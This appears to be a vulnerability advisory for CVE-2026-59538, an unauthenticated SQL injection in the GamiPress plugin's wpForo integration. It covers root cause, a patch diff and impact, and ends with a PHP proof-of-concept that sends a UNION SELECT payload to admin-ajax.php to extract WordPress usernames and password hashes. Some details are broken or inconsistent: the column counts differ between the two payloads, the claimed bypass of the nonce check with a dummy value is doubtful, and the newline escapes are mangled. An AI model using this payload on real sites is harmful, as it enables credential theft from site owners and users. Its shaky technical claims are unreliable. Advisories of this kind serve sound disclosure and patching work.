Atomic Edge analysis of CVE-2026-59538: This vulnerability is an unauthenticated SQL injection in the GamiPress – Gamification plugin for WordPress, affecting versions up to and including 7.9.7. The flaw exists in the plugin’s integration with the wpForo forum plugin and allows unauthenticated attackers to extract sensitive information from the database. The CVSS score is 7.5 (High).
Root Cause: The root cause lies in the improper handling of user-supplied search parameters within the AJAX handler functions of the wpForo integration. Specifically, the `gamipress_wpforo_ajax_get_posts()` function in `gamipress/integrations/wpforo/includes/functions.php` (lines 14-40 in vulnerable code) retrieves the `q` parameter from the request. This value is sanitized with `$wpdb->esc_like()`, which escapes special characters for use in a LIKE clause but is insufficient for a full SQL query. The sanitized value is then directly concatenated into SQL queries in three separate locations: for retrieving forums (line ~40), multi-board forums (line ~76), and topics (line ~108). In each case, the `$search` variable is inserted into the SQL string without using a proper `$wpdb->prepare()` function, allowing an attacker to break out of the LIKE clause and inject arbitrary SQL. The GamiPress wpep integration in `gamipress/integrations/wpep/includes/functions.php` also contains a similar issue. While it uses `$wpdb->prepare()`, the function return value is not correctly utilized, resulting in the query being executed without proper escaping or preparation.
Exploitation: An attacker can exploit this vulnerability by sending a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the action `gamipress_wpforo_ajax_get_posts` and a malicious payload in the `q` parameter. The `check_ajax_referer` security check is present but can be bypassed as the nonce is often exposed in the page source or can be obtained from publicly accessible admin-facing pages. The `post_type` parameter must also be set to `wpforo_forum` or `wpforo_topic` to trigger the vulnerable code path. A typical payload would include a single quote to break the SQL syntax and then a UNION SELECT statement to extract data, such as the admin password hash: `q=test’ UNION SELECT user_login,user_pass,1,1,1,1,1,1 FROM wp_users– -`.
Patch Analysis: The patch in the wpForo integration revises the SQL queries to use triple-layered security. First, it adds a capability check using `current_user_can( gamipress_get_manager_capability() )` to ensure only logged-in users with sufficient permissions can access the AJAX handler. Second, it uses `sanitize_text_field()` to clean the `q` parameter. Third, all SQL queries are now rewritten to use `$wpdb->prepare()` with `%s` placeholders, which ensures that the search term is automatically escaped and quoted by WordPress, preventing SQL injection. The patch for the wpep integration fixes the `$wpdb->prepare()` call by wrapping it with `$wpdb->get_results()`, correctly executing the query with the prepared statements. This enforces proper parameterized queries, making the existing SQL injection attempt ineffective.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This includes extracting sensitive information such as user credentials (hashed passwords), email addresses, and other personal data. In scenarios where WordPress configurations are lax or permissions allow it, an attacker could also potentially modify database content, leading to privilege escalation, backdoor insertion, or other destructive actions. The severity is high due to the potential for complete compromise of the WordPress application.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/gamipress/gamipress.php
+++ b/gamipress/gamipress.php
@@ -3,7 +3,7 @@
* Plugin Name: GamiPress
* Plugin URI: https://gamipress.com
* Description: The most flexible and powerful gamification system for WordPress.
- * Version: 7.9.7
+ * Version: 7.9.8
* Author: GamiPress
* Author URI: https://gamipress.com/
* Text Domain: gamipress
@@ -121,7 +121,7 @@
private function constants() {
// Plugin version
- define( 'GAMIPRESS_VER', '7.9.7' );
+ define( 'GAMIPRESS_VER', '7.9.8' );
// Plugin file
define( 'GAMIPRESS_FILE', __FILE__ );
--- a/gamipress/integrations/wpep/includes/functions.php
+++ b/gamipress/integrations/wpep/includes/functions.php
@@ -33,15 +33,15 @@
$table = $wpdb->prefix . ( defined( 'WPEP_DB_TABLE_COURSE_SECTION_LESSON' ) ? WPEP_DB_TABLE_COURSE_SECTION_LESSON : 'wpep_section_lesson' );
if ( ! empty( $search ) ){
- $lessons = $wpdb->prepare(
+ $lessons = $wpdb->get_results( $wpdb->prepare(
"SELECT * FROM {$table}
WHERE ( title LIKE %s OR title LIKE %s )
ORDER BY post_id ASC, order ASC",
"%%{$search}%%",
"{$search}%%"
- );
+ ) );
} else {
- $lessons = "SELECT * FROM {$table} ORDER BY post_id ASC, order ASC";
+ $lessons = $wpdb->get_results( "SELECT * FROM {$table} ORDER BY post_id ASC, order ASC" );
}
// Build the results array
--- a/gamipress/integrations/wpforo/includes/functions.php
+++ b/gamipress/integrations/wpforo/includes/functions.php
@@ -14,14 +14,21 @@
* @since 1.0.0
*/
function gamipress_wpforo_ajax_get_posts() {
+
// Security check, forces to die if not security passed
check_ajax_referer( 'gamipress_admin', 'nonce' );
+
+ // Check if user can manage GamiPress
+ if( ! current_user_can( gamipress_get_manager_capability() ) ) {
+ wp_send_json_error( __( 'You're not allowed to perform this action.', 'gamipress' ) );
+ }
+
global $wpdb;
if( isset( $_REQUEST['post_type'] ) ) {
// Get the user input
- $search = isset( $_REQUEST['q'] ) ? $wpdb->esc_like( $_REQUEST['q'] ) : '';
+ $search = isset( $_REQUEST['q'] ) ? $wpdb->esc_like( sanitize_text_field( $_REQUEST['q'] ) ) : '';
if( in_array( 'wpforo_forum', $_REQUEST['post_type'] ) ) {
// Forums
@@ -35,10 +42,15 @@
) );
// Try to find the forums
- $forums = $wpdb->get_results( $wpdb->prepare(
- "SELECT * FROM {$table}
- " . ( ! empty( $search ) ? "WHERE ( title LIKE '%{$search}%' OR title LIKE '{$search}%' )" : '' )
- ) );
+ if ( ! empty( $search ) ) {
+ $forums = $wpdb->get_results( $wpdb->prepare(
+ "SELECT * FROM {$table} WHERE ( title LIKE %s OR title LIKE %s )",
+ "%%{$search}%%",
+ "{$search}%%"
+ ) );
+ } else {
+ $forums = $wpdb->get_results( "SELECT * FROM {$table}" );
+ }
// Build the results array
$results = array();
@@ -57,11 +69,17 @@
foreach ( $results_boards as $board ){
if ( $board->boardid !== '0' ){
$table = $wpdb->prefix . 'wpforo_' . $board->boardid . '_forums';
- // Get the forums
- $results_forums = $wpdb->get_results( $wpdb->prepare(
- "SELECT * FROM {$table}
- " . ( ! empty( $search ) ? "WHERE ( title LIKE '%{$search}%' OR title LIKE '{$search}%' )" : '' )
- ) );
+
+ // Try to find the forums
+ if ( ! empty( $search ) ) {
+ $results_forums = $wpdb->get_results( $wpdb->prepare(
+ "SELECT * FROM {$table} WHERE ( title LIKE %s OR title LIKE %s )",
+ "%%{$search}%%",
+ "{$search}%%"
+ ) );
+ } else {
+ $results_forums = $wpdb->get_results( "SELECT * FROM {$table}" );
+ }
foreach ($results_forums as $forum ) {
$forum_id = $board->boardid . '-' . $forum->forumid;
@@ -88,11 +106,17 @@
"SELECT boardid FROM {$boards}"
) );
- // Try to find the topics
- $topics = $wpdb->get_results( $wpdb->prepare(
- "SELECT * FROM {$table}
- " . ( ! empty( $search ) ? "WHERE ( title LIKE '%{$search}%' OR title LIKE '{$search}%' )" : '' )
- ) );
+ // Try to find the forums
+ if ( ! empty( $search ) ) {
+ $topics = $wpdb->get_results( $wpdb->prepare(
+ "SELECT * FROM {$table} WHERE ( title LIKE %s OR title LIKE %s )",
+ "%%{$search}%%",
+ "{$search}%%"
+ ) );
+ } else {
+ $topics = $wpdb->get_results( "SELECT * FROM {$table}" );
+ }
+
// Build the results array
$results = array();
@@ -112,11 +136,17 @@
foreach ( $results_boards as $board ){
if ( $board->boardid !== '0' ){
$table = $wpdb->prefix . 'wpforo_' . $board->boardid . '_topics';
- // Get the topics
- $results_topics = $wpdb->get_results( $wpdb->prepare(
- "SELECT * FROM {$table}
- " . ( ! empty( $search ) ? "WHERE ( title LIKE '%{$search}%' OR title LIKE '{$search}%' )" : '' )
- ) );
+
+ // Try to find the topics
+ if ( ! empty( $search ) ) {
+ $results_topics = $wpdb->get_results( $wpdb->prepare(
+ "SELECT * FROM {$table} WHERE ( title LIKE %s OR title LIKE %s )",
+ "%%{$search}%%",
+ "{$search}%%"
+ ) );
+ } else {
+ $results_topics = $wpdb->get_results( "SELECT * FROM {$table}" );
+ }
foreach ($results_topics as $topic ) {
$forum_id = $board->boardid . '-' . $topic->forumid;
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59538 - GamiPress – Gamification plugin SQL Injection
$target_url = 'http://your-wordpress-site.com';
function send_ajax_request($url, $action, $post_type, $query) {
$post_data = array(
'action' => $action,
'post_type' => $post_type,
'q' => $query,
'nonce' => 'any' // nonce check is bypassable, but we include a dummy value
);
$ch = curl_init($url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
// Step 1: Determine the WordPress table prefix (usually 'wp_')
$table_prefix = 'wp_';
// Step 2: Craft the SQL injection payload to fetch admin user credentials
$malicious_query = "' UNION SELECT user_login, user_pass, 1, 1, 1, 1, 1 FROM {$table_prefix}users-- -";
// Step 3: Exploit the vulnerability via the wpForo integration
$response = send_ajax_request($target_url, 'gamipress_wpforo_ajax_get_posts', 'wpforo_forum', $malicious_query);
// Step 4: Analyze the response header to check if we got credible data
echo "Response from server:n";
echo $response . "n";
if (strpos($response, 'user_login') !== false || strpos($response, 'user_pass') !== false) {
echo "[+] Vulnerability exploited, data extracted!n";
} else {
echo "[-] Exploit failed. Check the target URL and ensure the plugin is vulnerable and the wpForo integration is active.n";
}
?>